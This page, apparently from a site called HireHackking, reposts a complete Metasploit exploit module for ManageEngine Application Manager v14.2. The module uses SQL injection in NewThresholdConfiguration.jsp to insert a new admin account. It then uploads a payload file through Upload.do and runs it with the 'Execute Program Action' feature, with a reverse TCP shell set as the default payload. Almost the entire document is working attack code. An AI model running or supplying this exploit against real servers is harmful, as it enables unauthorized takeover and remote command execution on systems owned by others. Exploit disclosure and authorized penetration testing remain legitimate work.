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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60,
          'RPORT' => 9090,
          'SSL' => false,
          'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '10 August 2019 //DEFCON',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(cookie)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(cookie, platform, @dir)
  end

  def file_up(cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(cookie, dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5,
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(cookie, action)
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'index.do'),
    )
    # For this part the build control will be placed.
    if res && res.code == 200 && res.body.include?('Build No:142')
      return Exploit::CheckCode::Vulnerable
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'POST',
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => datastore['USERNAME'],
          'j_password' => datastore['PASSWORD'],
          'submit' => 'Login'
        }
      )

      if res && res.code == 303
        res = send_request_cgi(
          'cookie'  => @cookie,
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        send_sqli(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end     

    else
      fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end

  def send_sqli(cookies)

    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'POST',
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd,
          'submit' => 'Login'
        }
      )
      print @uname + "//" + @pwd
      puts res.body
      if res && res.code == 303
        print_good("Privilege Escalation was successfully performed.")
        print_good("New APM admin username = " + @uname)
        print_good("New APM admin password = " + @pwd)
        res = send_request_cgi(
          'cookie'  => @cookie,
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        check_platform(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end
    else
      fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
  end
end